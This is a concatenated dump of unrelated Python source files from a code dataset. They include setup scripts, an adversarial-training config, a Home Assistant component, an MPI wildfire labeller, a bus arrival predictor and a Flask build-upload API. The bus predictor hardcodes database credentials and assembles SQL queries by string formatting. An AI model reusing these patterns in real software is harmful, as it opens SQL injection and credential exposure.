('OMPI_SKIP_MPICXX', 1),\n ],\n configure=mpidistutils.configure_mpi,\n )\n if sys.version_info[:2] > maxknow_python:\n api = '0x{:02x}{:02x}0000'.format(*maxknow_python)\n MPI['define_macros'].extend([\n ('CYTHON_LIMITED_API', api),\n ])\n if os.environ.get('CIBUILDWHEEL') == '1':\n MPI['define_macros'].extend([\n ('CIBUILDWHEEL', 1),\n ])\n #\n return [MPI]\n\n\ndef executables():\n import mpidistutils\n # MPI-enabled Python interpreter\n pyexe = dict(\n name='python-mpi',\n optional=True,\n package='mpi4py',\n dest_dir='bin',\n sources=['src/python.c'],\n configure=mpidistutils.configure_pyexe,\n )\n #\n return [pyexe]\n\n\n# --------------------------------------------------------------------\n# Setup\n# --------------------------------------------------------------------\n\npackage_info = dict(\n packages = [\n 'mpi4py',\n 'mpi4py.futures',\n 'mpi4py.util',\n ],\n package_data = {\n 'mpi4py' : [\n '*.pxd',\n 'MPI*.h',\n 'include/mpi4py/*.h',\n 'include/mpi4py/*.i',\n 'include/mpi4py/*.pxi',\n 'py.typed',\n '*.pyi',\n '*/*.pyi',\n ],\n },\n package_dir = {'' : 'src'},\n)\nif sys.version_info < (3, 8):\n del package_info['package_data']['mpi4py'][-3:]\n\n\ndef run_setup():\n \"\"\"\n Call setuptools.setup(*args, **kwargs)\n \"\"\"\n try:\n import setuptools\n except ImportError as exc:\n setuptools = None\n if sys.version_info >= (3, 12):\n sys.exit(exc)\n from mpidistutils import setup\n from mpidistutils import Extension as Ext\n from mpidistutils import Executable as Exe\n #\n from mpidistutils import build_src\n build_src.sources = sources()\n #\n builder_args = dict(\n ext_modules = [Ext(**ext) for ext in extensions()],\n executables = [Exe(**exe) for exe in executables()],\n )\n if setuptools:\n builder_args['zip_safe'] = False\n metadata.update(metadata_extra)\n #\n setup_args = dict(i for d in (\n metadata,\n package_info,\n builder_args,\n ) for i in d.items())\n #\n setup(**setup_args)\n\n\ndef run_skbuild():\n \"\"\"\n Call setuptools.setup(*args, **kwargs)\n \"\"\"\n from setuptools import setup\n #\n builder_args = dict(\n cmake_source_dir = '.',\n )\n metadata.update(metadata_extra)\n #\n setup_args = dict(i for d in (\n metadata,\n package_info,\n builder_args,\n ) for i in d.items())\n #\n setup(**setup_args)\n\n\n# --------------------------------------------------------------------\n\n\ndef main():\n try:\n import builder\n name = builder.get_build_backend_name()\n except RuntimeError as exc:\n sys.exit(exc)\n\n if name == 'setuptools':\n run_setup()\n if name == 'skbuild':\n run_skbuild()\n\n\nif __name__ == '__main__':\n if sys.version_info < require_python:\n raise SystemExit(\n \"error: requires Python version \" +\n metadata_extra['python_requires']\n )\n main()\n\n\n# --------------------------------------------------------------------\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":8380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"232913027","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2018 Esteban J. G. Gabancho.\n#\n# LogBook is free software; you can redistribute it and/or modify it\n# under the terms of the MIT License; see LICENSE file for more details.\n\n\"\"\"LogBook.\"\"\"\n\nimport os\n\nfrom setuptools import find_packages, setup\n\nreadme = open('README.rst').read()\n\nINVENIO_VERSION = \"3.0.0\"\n\npackages = find_packages()\n\n\n# Get the version string. Cannot be done with import!\ng = {}\nwith open(os.path.join('logbook', 'version.py'), 'rt') as fp:\n exec(fp.read(), g)\n version = g['__version__']\n\nsetup(\n name='logbook',\n version=version,\n description=__doc__,\n long_description=readme,\n keywords='logbook Invenio',\n license='MIT',\n author='Esteban J. G. Gabancho',\n author_email='egabancho@gmail.com',\n url='https://github.com/egabancho/logbook',\n packages=packages,\n zip_safe=False,\n include_package_data=True,\n platforms='any',\n entry_points={\n 'console_scripts': [\n 'logbook = invenio_app.cli:cli',\n ],\n 'invenio_base.blueprints': [\n 'logbook = logbook.views:blueprint',\n ],\n 'invenio_config.module': [\n 'logbook = logbook.config',\n ],\n 'invenio_i18n.translations': [\n 'messages = logbook',\n ]\n },\n classifiers=[\n 'Environment :: Web Environment',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Topic :: Internet :: WWW/HTTP :: Dynamic Content',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Development Status :: 3 - Alpha',\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"143613081","text":"# from easydict import EasyDict\nimport sys\nimport os\nimport argparse\nimport numpy as np\nimport torch\n\nfrom lib.training.config import TrainingConfigBase, SGDOptimizerMaker, \\\n PieceWiseConstantLrSchedulerMaker, IPGDAttackMethodMaker\n\n\nclass TrainingConfig(TrainingConfigBase):\n abs_current_path = os.path.realpath('./')\n root_path = os.path.join('/', *abs_current_path.split(os.path.sep)[:-3])\n lib_dir = os.path.join(root_path, 'lib')\n\n num_epochs = 105\n eval_interval = 15\n\n create_optimizer = SGDOptimizerMaker(lr=1e-1, momentum=0.9, weight_decay=2e-4)\n create_lr_scheduler = PieceWiseConstantLrSchedulerMaker(milestones=[75, 90, 100], gamma=0.1)\n\n create_loss_function = torch.nn.CrossEntropyLoss\n\n create_attack_method = \\\n IPGDAttackMethodMaker(eps=8 / 255.0, sigma=2 / 255.0, nb_iters=20, norm=np.inf,\n mean=torch.tensor(\n np.array([0]).astype(np.float32)[np.newaxis, :, np.newaxis, np.newaxis]),\n std=torch.tensor(np.array([1]).astype(np.float32)[np.newaxis, :, np.newaxis, np.newaxis]))\n\n create_evaluation_attack_method = \\\n IPGDAttackMethodMaker(eps=8 / 255.0, sigma=2 / 255.0, nb_iters=20, norm=np.inf,\n mean=torch.tensor(\n np.array([0]).astype(np.float32)[np.newaxis, :, np.newaxis, np.newaxis]),\n std=torch.tensor(np.array([1]).astype(np.float32)[np.newaxis, :, np.newaxis, np.newaxis]))\n\n\nconfig = TrainingConfig()\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('--resume', default=None, type=str, metavar='PATH',\n help='path to latest checkpoint (default: none)')\nparser.add_argument('-b', '--batch_size', default=200, type=int,\n metavar='N', help='mini-batch size')\nparser.add_argument('-d', type=int, default=0, help='Which gpu to use')\nparser.add_argument('-adv_coef', default=1.0, type=float,\n help='Specify the weight for adversarial loss')\nparser.add_argument('--auto-continue', default=False, action='store_true',\n help='Continue from the latest checkpoint')\nargs = parser.parse_args()\n\nif __name__ == '__main__':\n pass\n","sub_path":"experiments/cifar10/wide34_pgd10/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"142785389","text":"\"\"\"The waze_travel_time component.\"\"\"\nimport asyncio\n\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.core import HomeAssistant\n\nPLATFORMS = [\"sensor\"]\n\n\nasync def async_setup_entry(hass: HomeAssistant, config_entry: ConfigEntry) -> bool:\n \"\"\"Load the saved entities.\"\"\"\n for platform in PLATFORMS:\n hass.async_create_task(\n hass.config_entries.async_forward_entry_setup(config_entry, platform)\n )\n\n return True\n\n\nasync def async_unload_entry(hass: HomeAssistant, config_entry: ConfigEntry) -> bool:\n \"\"\"Unload a config entry.\"\"\"\n return all(\n await asyncio.gather(\n *[\n hass.config_entries.async_forward_entry_unload(config_entry, platform)\n for platform in PLATFORMS\n ]\n )\n )\n","sub_path":"homeassistant/components/waze_travel_time/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"524401783","text":"# -*- coding: utf-8 -*-\nimport unittest,time\nimport ddt\nfrom practice.two.TestCase import TestCase\nfrom practice.one.Log import Log\n\n@ddt.ddt\nclass SuiteTestcase(unittest.TestCase):\n a = 1\n @classmethod\n def setUpClass(cls):\n #创建TestCase类的对象\n cls.t = TestCase()\n\n # @unittest.skip('skipping')\n def test01_screenshot(self):\n print('#########start######### test_screenshot')\n SuiteTestcase.t.Screenshot()\n\n @ddt.file_data(\"test_data_list.json\")\n def test02_SogouScreenShot_ddt(self,value):\n print('#########start######### test_SogouScreenShot')\n testdata, expectdata = tuple(value.strip().split(\",\"))\n print(testdata,expectdata)\n print(value)\n SuiteTestcase.t.SogouScreenShot_ddt(testdata,expectdata)\n\n def test03_SogouScreenShot_data(self):\n print('#########start######### test_SogouScreenShot')\n SuiteTestcase.t.SogouScreenShot_data()\n\n @classmethod\n def tearDownClass(cls):\n SuiteTestcase.t.quit()\n\n# if __name__=='__main__':\n# suite = unittest.TestSuite()\n# suite.addTest(SuiteTestcase(\"test_screenshot\"))\n# # suite.addTest(SuiteTestcase(\"test_SogouScreenShot\"))\n# runner = unittest.TextTestRunner()\n# runner.run(suite)\n\n","sub_path":"wenjian/practice/two/TestSuite.py","file_name":"TestSuite.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"361496359","text":"#!/usr/bin/env python3\nimport os, sys\nfrom mpi4py import MPI\nimport argparse\nimport json\n\nimport datetime as dt\n\nimport logging\nsys.path.append(os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))))\n\nfrom wildfire import wildfire\nfrom wildfire.goes import utilities\n\n_logger = logging.getLogger(__name__)\n\n# Open MPI communiciation\ncomm = MPI.COMM_WORLD\nrank = comm.Get_rank() # process rank\nsize = comm.Get_size() # number of processes \nname = MPI.Get_processor_name()\n\nDATETIME_FORMAT = \"%Y-%m-%dT%H:%M:%S\"\nWILDFIRE_FILENAME = \"wildfires_{satellite}_{region}_s{start}_e{end}_c{created}.json\"\n\n\n# first process gets file paths to pass out to worker nodes\nif rank == 0:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--satellite\", default='noaa-goes17', type=str)\n parser.add_argument(\"--region\", default='M1', type=str)\n parser.add_argument(\"--start\", default='2019-10-31T22:00:00', type=str)\n parser.add_argument(\"--end\", default='2019-10-31T23:00:00', type=str)\n parser.add_argument(\"--goes_directory\", default='../downloaded_data', type=str)\n parser.add_argument(\"--wildfires_directory\", default='../labeled_wildfires', type=str)\n args = parser.parse_args()\n\n start_time = dt.datetime.strptime(args.start, DATETIME_FORMAT)\n end_time = dt.datetime.strptime(args.end, DATETIME_FORMAT)\n\n filepaths = utilities.list_local_files(local_directory=args.goes_directory,\n satellite=args.satellite,\n region=args.region,\n start_time=start_time,\n end_time=end_time\n )\n filepaths = utilities.group_filepaths_into_scans(filepaths=filepaths)\nelse:\n filepaths = None\n\n\n# send filepaths to each process\nfilepaths = comm.bcast(filepaths, root=0)\n\n\nn_scans = len(filepaths)\n_logger.info(f\"Number of scans locally: {n_scans}\")\n\ncollect_fires = []\n# loop through scans\nfor i, scan_files in enumerate(filepaths):\n # split by process\n if i % size == rank:\n try:\n scan_fires = wildfire.parse_scan_for_wildfire(scan_files) # dict\n if scan_fires is not None:\n collect_fires.append(scan_fires)\n except (OSError, ValueError) as error_message:\n _logger.warning(\n \"\\nSkipping malformed goes_scan comprised of %s.\\nError: %s\",\n scan_files,\n error_message,\n )\n\n\n# send all fires to root node\nall_fires = comm.gather(collect_fires, root=0)\n\nif rank == 0:\n # make a large list of all fires\n all_fires = [fire for rank_fires in all_fires for fire in rank_fires]\n\n wildfires_filepath = os.path.join(\n args.wildfires_directory,\n WILDFIRE_FILENAME.format(\n satellite=args.satellite,\n region=args.region,\n start=start_time.strftime(DATETIME_FORMAT),\n end=end_time.strftime(DATETIME_FORMAT),\n created=dt.datetime.utcnow().strftime(DATETIME_FORMAT),\n ),\n )\n _logger.info(\"Persisting wildfires to %s\" % wildfires_filepath)\n with open(wildfires_filepath, \"w+\") as buffer:\n json.dump(dict(enumerate(all_fires)), buffer)\n","sub_path":"bin/label_wildfires.mpi.py","file_name":"label_wildfires.mpi.py","file_ext":"py","file_size_in_byte":3284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"362984738","text":"try:\n import pymysql\n pymysql.install_as_MySQLdb()\nexcept:\n pass\nfrom datetime import timedelta\nfrom .model_prototype_1 import model\nimport pandas as pd\npd.options.mode.chained_assignment = None\nfrom sklearn.externals import joblib\nfrom dateutil import parser\nfrom datetime import datetime\n\ndef day(date):\n weekday = datetime.weekday(parser.parse(date))\n if weekday < 5:\n weekday = 'business_day'\n elif weekday == 5:\n weekday = 'saturday'\n elif weekday == 6:\n weekday = 'sunday'\n return weekday\n\ndef get_all_stops(time, bus_route, source_stop, destination_stop, date, direction):\n holiday = holidays(date)\n p_holiday = holiday[0]\n s_holiday = holiday[1]\n direction = direction\n\n query_day = day(date)\n if p_holiday:\n query_day = 'sunday'\n db = pymysql.connect(user='lucas', db='summerProdb', passwd='hello_world', host='csi6220-3-vm3.ucd.ie')\n cursor = db.cursor()\n rows1 = ()\n sql1 = \"\"\"SELECT bus_timetable.trip_id\n FROM bus_timetable WHERE bus_timetable.arrival_time >= time_format('{q1time}','%T')\n AND bus_timetable.route_id = '{qbus_route}'\n AND bus_timetable.stop_id = '{qsource_stop}'\n AND bus_timetable.day_of_week = '{qquery_day}'\n AND bus_timetable.direction = '{qdirection}'\n ORDER BY bus_timetable.arrival_time ASC\n LIMIT 3\"\"\"\n\n cursor = db.cursor()\n while rows1 == ():\n cursor.execute(sql1.format(q1time=str(time),qbus_route=str(bus_route),\\\n qsource_stop=str(source_stop), qquery_day=str(query_day), qdirection=str(direction)))\n rows1 = cursor.fetchall()\n if direction == 0:\n direction = 1\n elif direction == 1:\n direction = 0\n\n # Create query for the first prediction\n sql2 = \"\"\"SELECT time_format(bus_timetable.arrival_time,'%T') , bus_timetable.stop_id, bus_timetable.stop_sequence, bus_stops.long_name, bus_timetable.accum_dist\n FROM bus_timetable, bus_stops WHERE trip_id = '{qtrip_id}'\n AND bus_timetable.arrival_time >= '{q2time}' AND bus_timetable.stop_id = bus_stops.stop_id\n ORDER BY bus_timetable.stop_sequence\"\"\"\n\n cursor = db.cursor()\n cursor.execute(sql2.format(qtrip_id=str(rows1[0][0]),q2time=str(time)))\n rows2 = cursor.fetchall()\n # create query for the second prediction\n sql3 = \"\"\"SELECT time_format(bus_timetable.arrival_time,'%T') , bus_timetable.stop_id, bus_timetable.stop_sequence, bus_stops.long_name, bus_timetable.accum_dist\n FROM bus_timetable, bus_stops WHERE trip_id = '{qtrip_id}'\n AND bus_timetable.arrival_time >= '{q2time}' AND bus_timetable.stop_id = bus_stops.stop_id\n ORDER BY bus_timetable.stop_sequence\"\"\"\n\n cursor = db.cursor()\n cursor.execute(sql3.format(qtrip_id=str(rows1[1][0]),q2time=str(time)))\n rows3 = cursor.fetchall()\n # create query for the third prediction\n sql4 = \"\"\"SELECT time_format(bus_timetable.arrival_time,'%T') , bus_timetable.stop_id, bus_timetable.stop_sequence, bus_stops.long_name, bus_timetable.accum_dist\n FROM bus_timetable, bus_stops WHERE trip_id = '{qtrip_id}'\n AND bus_timetable.arrival_time >= '{q2time}' AND bus_timetable.stop_id = bus_stops.stop_id\n ORDER BY bus_timetable.stop_sequence\"\"\"\n cursor = db.cursor()\n cursor.execute(sql4.format(qtrip_id=str(rows1[2][0]),q2time=str(time)))\n rows4 = cursor.fetchall()\n db.close()\n \n # get the three predictions for the data model.\n stops1 = src_dest_list(rows2, source_stop, destination_stop)\n stops2 = src_dest_list(rows3, source_stop, destination_stop)\n stops3 = src_dest_list(rows4, source_stop, destination_stop)\n return [rows1, stops1, stops2, stops3]\n\n\ndef src_dest_list(rows, source, dest):\n stops = []\n found = False\n for i in rows:\n if str(i[1]) == str(source):\n found = True\n if found:\n stops.append([i[1], i[0], i[3], i[4]])\n if str(i[1]) == str(dest):\n break\n return stops\n\n\ndef holidays(date):\n publicholidays_2017 = ['2017-08-07', '2017-10-30', '2017-12-25', '2017-12-26',\n '2017-12-27']\n schoolholidays_2017 = ['2017-07-07', '2017-08-07', '2017-09-07', '2017-10-07',\n '2017-11-07', '2017-12-07', '2017-07-13', '2017-07-14',\n '2017-07-15', '2017-07-16', '2017-07-17', '2017-07-18',\n '2017-07-19', '2017-07-20', '2017-07-21', '2017-07-22',\n '2017-07-23', '2017-07-24', '2017-07-25', '2017-07-26',\n '2017-07-27', '2017-07-28', '2017-07-29', '2017-07-30',\n '2017-07-31', '2017-01-08', '2017-02-08', '2017-03-08',\n '2017-04-08', '2017-05-08', '2017-06-08', '2017-07-08',\n '2017-08-08', '2017-09-08', '2017-10-08', '2017-11-08',\n '2017-12-08', '2017-08-13', '2017-08-14', '2017-08-15',\n '2017-08-16', '2017-08-17', '2017-08-18', '2017-08-19',\n '2017-08-20', '2017-08-21', '2017-08-22', '2017-08-23',\n '2017-08-24', '2017-08-25', '2017-08-26', '2017-08-27',\n '2017-08-28', '2017-08-29', '2017-08-30', '2017-08-31',\n '2017-10-28', '2017-10-29', '2017-10-30', '2017-10-31',\n '2017-01-11', '2017-02-11', '2017-03-11', '2017-04-11',\n '2017-05-11', '2017-12-23', '2017-12-24', '2017-12-25',\n '2017-12-26', '2017-12-27', '2017-12-28', '2017-12-29',\n '2017-12-30', '2017-12-31']\n date = date[6:10] + '-' + date[3:5] + '-' + date[:2]\n p_holiday = False\n s_holiday = False\n if date in publicholidays_2017:\n p_holiday = True\n if date in schoolholidays_2017:\n s_holiday = True\n return p_holiday, s_holiday\n\ndef time_to_arrive(datetime, sec):\n new_time = datetime + timedelta(seconds=sec)\n new_time = new_time.strftime('%d/%m/%Y %H:%M:%S')\n return new_time\n\ndef time_date(bus_route, source_stop, destination_stop, date, time, direction, stops, trip_id):\n with open(\"C:\\\\Users\\\\lucas\\\\Desktop\\\\trained_modelv9.pkl\", \"rb\") as f:\n rtr = joblib.load(f)\n holiday = holidays(date)\n p_holiday = holiday[0]\n s_holiday = holiday[1]\n weekday = datetime.weekday(parser.parse(date))\n dict = []\n status = 0\n for i in stops:\n if stops.index(i) == 0:\n status = 'src'\n elif stops.index(i) == len(stops) - 1:\n status = 'dest'\n else:\n status = 'normal'\n duration = model(bus_route, i[0], str(i[1]), weekday, p_holiday, s_holiday, rtr, trip_id)[0]\n predicted_arrival_time = (time_to_arrive(parser.parse(date + ' ' + str(i[1])), duration))\n dict.append({'stopid':i[0], 'duration':duration, 'predicted_arrival_time':predicted_arrival_time, 'status':status})\n return dict\n","sub_path":"dublinbusjourney/dublinbuspredict/Algorithms/time_date.py","file_name":"time_date.py","file_ext":"py","file_size_in_byte":7082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"301537370","text":"from werkzeug import secure_filename\nfrom urlparse import urlparse\nfrom bson.json_util import dumps\nfrom flask import Blueprint, jsonify, request\nfrom DBUtil import Build, Users, SystemDetails,State,Config\nfrom settings import mongodb, default_nexus_container_name, temp_files_full_path\nfrom Services import StateHelperService,BuildHelperService,HelperServices\nfrom Services.AppInitServices import authService\nimport os\nimport json\n# blueprint declaration\nbuildAPI = Blueprint('buildAPI', __name__)\n\n# get global db connection\ndb = mongodb\nbuildDB = Build.Build()\nuserDB = Users.Users(db)\nsystemDetailsDB = SystemDetails.SystemDetails(db)\nstateDb=State.State(mongodb)\nconfigDb=Config.Config(mongodb)\n\n\n\n\n'''\nINPUT REQUEST:\n{ \n \"_id\" : ObjectId(\"5abbc6749e53f700787d3997\"), \n \"status\" : \"1\",\n \"file_size\" : \"4.0K\", \n \"type\" : \"url\", \n \"file_path\" : \"http://illin4490:8081/nexus/content/repositories/yum-test/com/amdocs/core/crm/crm-playbooks/10.2.4-1620/crm-playbooks-10.2.4-1620.tar\",\n \"build_number\": 22, \n \"package_name\" : \"crm-playbooks-10.2.4-1620.tar\", \n \"package_type\" : \"tar\", \n \"parent_entity_id\" : \"5abbbf5ff13a94007945f01a\", \n \"additional_artifacts\" : {\n \"artifacts\" : [\n {\n \"repo_id\" : \"yum-test\", \n \"package\" : \"com.amdocs.core.crm\", \n \"file_name\" : \"amdocs-crm-admin_cluster_top-1-10.2.0.3.106.rpm\", \n \"artifact\" : \"amdocs-crm-admin_cluster_top-1\", \n \"relative_path\" : \"yum-test/com/amdocs/core/crm/amdocs-crm-admin_cluster_top-1/10.2.0.3.106\", \n \"version\" : \"10.2.0.3.106\", \n \"type\" : \"rpm\",\n \"classifier\" : \"1\"\n }\n ], \n \"repo_provider\" : \"Yum\"\n }, \n \"additional_info\" : {\n \"repo_id\" : \"yum-test\", \n \"package\" : \"com.amdocs.core.crm\", \n \"file_name\" : \"crm-playbooks-10.2.4-1620.tar\", \n \"artifact\" : \"crm-playbooks\", \n \"relative_path\" : \"yum-test/com/amdocs/core/crm/crm-playbooks/10.2.4-1620\", \n \"version\" : \"10.2.4-1620\"\n \n }, \n \"state_details\": { # CONSIDERED ONLY IF create_state_ind == true\n \"name\": \"Test\",#OPTIONAL #AUTO GENERATED\n \"approval_status\":\"Tested\", # OPTIONAL #DEFAULT :Created\n \"deployment_field\": {\"kuk\": \"hellow\"} # OPTIONAL\n }\n}\n\n\nRESPONSE :\n\n{\n \"message\": \"Build and State added successfully\",\n \"data\": {\n \"build_id\": \"5a3bc9c1f913e748d40b16fe\",\n \"state_id\": \"5a3bc9c2f913e748d40b16ff\",\n \"state_data\": {\n \"build_id\": \"5a3bc9c1f913e748d40b16fe\",\n \"name\": \"test du 30 State-548\",\n \"deployment_field\": {\n \"fields\": [\n {\n \"default_value\": \"2017-10-18T18:30:00.000Z\",\n \"is_mandatory\": true,\n \"order_id\": 0,\n \"input_type\": \"date\",\n \"tooltip\": \"hkhk\",\n \"input_name\": \"kuk\"\n },\n {\n \"order_id\": 1,\n \"input_type\": \"text\",\n \"default_value\": \"fgh\",\n \"input_name\": \"hg\",\n \"tooltip\": \"gfh\"\n },\n {\n \"order_id\": 2,\n \"input_type\": \"password\",\n \"default_value\": \"fhg\",\n \"input_name\": \"fhghgh\",\n \"tooltip\": \"gfh\"\n },\n {\n \"order_id\": 3,\n \"input_type\": \"email\",\n \"default_value\": \"gfh@df.com\",\n \"input_name\": \"fhg\",\n \"tooltip\": \"df\"\n },\n {\n \"order_id\": 4,\n \"input_type\": \"date\",\n \"default_value\": \"2017-10-11T18:30:00.000Z\",\n \"input_name\": \"sdf\",\n \"tooltip\": \"sdfd\"\n },\n {\n \"order_id\": 5,\n \"input_type\": \"checkbox\",\n \"valid_values\": [\n \"dsfdfd\",\n \"sdfdf\"\n ],\n \"input_name\": \"sdfdfdsfdfdsfds\",\n \"tooltip\": \"dsfd\"\n },\n {\n \"default_value\": \"dsfdf\",\n \"order_id\": 6,\n \"input_type\": \"dropdown\",\n \"tooltip\": \"dsfd\",\n \"valid_values\": [\n \"dsfdf\"\n ],\n \"input_name\": \"sdfdfdfdsfds\"\n },\n {\n \"order_id\": 7,\n \"input_type\": \"radio\",\n \"valid_values\": [\n \"sdfdf\",\n \"dsfdf\"\n ],\n \"input_name\": \"sdfdsfdsfdsfdsf\",\n \"tooltip\": \"sdfdf\"\n }\n ],\n \"_id\": {\n \"$oid\": \"5a3bc9c2f913e748d40b1700\"\n },\n \"parent_entity_id\": \"5a3bc9c2f913e748d40b16ff\"\n },\n \"parent_entity_id\": \"59ddcf802646eb006a6c7707\",\n \"build\": {\n \"status\": \"1\",\n \"build_date\": {\n \"$date\": 1513887513000\n },\n \"build_number\": 12,\n \"package_name\": \"amdocs_data_loader_ga_1_8_18_8.zip\",\n \"package_type\": \"zip\",\n \"parent_entity_id\": \"59ddcf802646eb006a6c7707\",\n \"file_path\": \"http://illin4467:8081/nexus/content/repositories/vp_builds/amdocs/infra/db/amdocs_data_loader/ga_1_8_18/amdocs_data_loader-ga_1_8_18-8.zip\",\n \"file_size\": \"4.0K\",\n \"_id\": {\n \"$oid\": \"5a3bc9c1f913e748d40b16fe\"\n },\n \"type\": \"url\",\n \"additional_info\": {\n \"repo_id\": \"vp_builds\",\n \"package\": \"amdocs.infra.db\",\n \"file_name\": \"amdocs_data_loader-ga_1_8_18-8.zip\",\n \"artifact\": \"amdocs_data_loader\",\n \"relative_path\": \"vp_builds/amdocs/infra/db/amdocs_data_loader/ga_1_8_18\",\n \"version\": \"ga_1_8_18\"\n }\n },\n \"_id\": {\n \"$oid\": \"5a3bc9c2f913e748d40b16ff\"\n },\n \"type\": \"dustate\",\n \"approval_status\": \"Created\"\n }\n },\n \"result\": \"success\"\n}\n'''\n\n\n@buildAPI.route('/build/add', methods=['POST'])\n@buildAPI.route('/versions/build/add', methods=['POST'])\n@authService.unauthorized\ndef add_build():\n try:\n state_details=None\n new_state_id=None\n new_build_id=None\n new_build = request.get_json()\n directory_to_import_from =None\n \n #IN CASE THIS METHOD IS GETTING CALLED FROM upload_build()\n if not new_build : \n new_build = request.data # Used by upload_build()\n directory_to_import_from = new_build.get(\"directory_to_import_from\")\n new_build.pop(\"directory_to_import_from\")\n if \"version_id\" in new_build.keys(): # PATCH FOR VERSION ID\n if \"parent_entity_id\" not in new_build.keys():\n new_build[\"parent_entity_id\"] = new_build[\"version_id\"]\n new_build.pop(\"version_id\")\n state_details=new_build.get(\"state_details\",None)\n new_build_id = BuildHelperService.add_update_build(new_build, new_build.get(\"parent_entity_id\"), directory_to_import_from)\n if str(new_build_id) not in [\"1\",\"0\"] and state_details is not None:\n state_details[\"parent_entity_id\"]=new_build[\"parent_entity_id\"]\n state_details[\"build_id\"]=new_build_id \n new_state_id = StateHelperService.generate_new_state(state_details)\n return jsonify(json.loads(dumps({\"result\": \"success\", \"message\": \"Build and State added successfully\", \"data\": {\"build_id\": new_build_id,\\\n \"state_id\":new_state_id,\"state_data\":stateDb.get_state_by_id(new_state_id, True)}}))), 200\n else: \n if str(new_build_id) == \"1\":\n return jsonify(json.loads(dumps({\"result\": \"success\", \"message\": \"Build updated successfully\", \"data\": {\"id\": new_build_id}}))), 200\n elif str(new_build_id) == \"0\":\n return jsonify(json.loads(dumps({\"result\": \"success\", \"message\": \"No changes found\", \"data\": {\"id\": new_build_id}}))), 200 \n else:\n return jsonify(json.loads(dumps({\"result\": \"success\", \"message\": \"Build added successfully\", \"data\": {\"build_id\": new_build_id}}))), 200\n except Exception as e: # catch *all* exceptions\n if str(new_state_id).lower() not in [\"none\",\"1\",\"0\"]:\n StateHelperService.delete_state(new_state_id,False)\n if str(new_build_id).lower() not in [\"none\",\"1\",\"0\"]:\n buildDB.delete_build(new_build_id) \n raise e\n\n\n@buildAPI.route('/build/update', methods=['PUT'])\n@authService.unauthorized\ndef update_build():\n request_build_details = request.get_json() \n if not request_build_details.get(\"_id\"):\n build_details = buildDB.get_build_by_number(\n str(request_build_details.get(\"parent_entity_id\")), request_build_details.get(\"build_number\"), True)\n if build_details is not None:\n if build_details.get(\"_id\"):\n request_build_details[\"_id\"] = {\"oid\": str(build_details.get(\"_id\"))}\n else:\n raise Exception(\n \"Unable to find a build id for parent_entity_id\" + str(request_build_details.get(\"parent_entity_id\")))\n else:\n raise Exception(\"Unable to find a build details for build number \" + str(request_build_details.get(\n \"build_number\")) + \" and parent_entity_id \" + str(request_build_details.get(\"parent_entity_id\")))\n else:\n if request_build_details.get(\"parent_entity_id\"):\n HelperServices.get_details_of_parent_entity_id(request_build_details.get(\"parent_entity_id\")) \n result = BuildHelperService.add_update_build(request_build_details, request_build_details.get(\"parent_entity_id\"), None)\n return jsonify(json.loads(dumps({\"result\": \"success\", \"message\": \"Build updated successfully\", \"data\": {\"id\":result}}))), 200\n \n\n\n\n@buildAPI.route('/build/view/', methods=['GET'])\n@authService.unauthorized\ndef get_build(oid):\n build=buildDB.get_build(oid)\n actual_host = bool(request.args.get('actual_host', False))\n '''\n if actual_host is True, the hostname in the file_path replaced with the hostname mentioned in the SystemDetails collection \n provided the hostname in build and default_nexus_container_name is same. \n '''\n if build.get(\"file_path\",None) and (actual_host):\n if urlparse(build.get(\"file_path\")).hostname == default_nexus_container_name :\n build[\"file_path\"]=build.get(\"file_path\").replace(urlparse(build.get(\"file_path\")).\\\n hostname,systemDetailsDB.get_system_details_single().get(\"hostname\"))\n return jsonify(json.loads(dumps({\"result\": \"success\", \"data\": build}))), 200\n\n'''\n\nNow from 3.2.3 we have repository plugins. So one DU can have Jfrog and other can have Nexus.\nIts tiresome to upload a build independently and then then add a build to dpm with another api.\nWhy not handle both at once\n\nPostman:\n artifact_file : File to upload\n build_details : A file containing the build detais.Should be json. Contents is Repository Specific\nCURL:\n curl --verbose -F 'build_details=@jsonfile.txt' -F 'artifact_file=@test.pdf' http://localhost:8000/build/upload\n \nPLEASE NOTE :\n It wont work for nexus2 and nexus 3 as the keyargs[\"file_to_upload\"] = join(keyargs[\"directory_to_import_from\"],relative_path,fileName)\n But file is saved at keyargs[\"file_to_upload\"] = join(keyargs[\"directory_to_import_from\"])\n'''\n@buildAPI.route('/build/upload', methods=['POST'])\n@authService.unauthorized\ndef upload_build():\n try:\n artifact_file = request.files['artifact_file']\n except Exception:\n raise ValueError(\"Please provide artifact_file\")\n try:\n build_details = request.files['build_details']\n except Exception:\n raise ValueError(\"Please provide build_details\")\n artifact_file_filename = secure_filename(artifact_file.filename)\n artifact_file_filename = str(temp_files_full_path + artifact_file_filename)\n artifact_file.save(artifact_file_filename)\n build_details_filename = secure_filename(build_details.filename)\n build_details_filename = str(temp_files_full_path + build_details_filename)\n build_details.save(build_details_filename)\n try:\n build_details = json.loads(open(build_details_filename).read())\n build_details[\"directory_to_import_from\"] = temp_files_full_path\n request.data = build_details \n return add_build()\n finally:\n try:\n os.remove(artifact_file_filename)\n 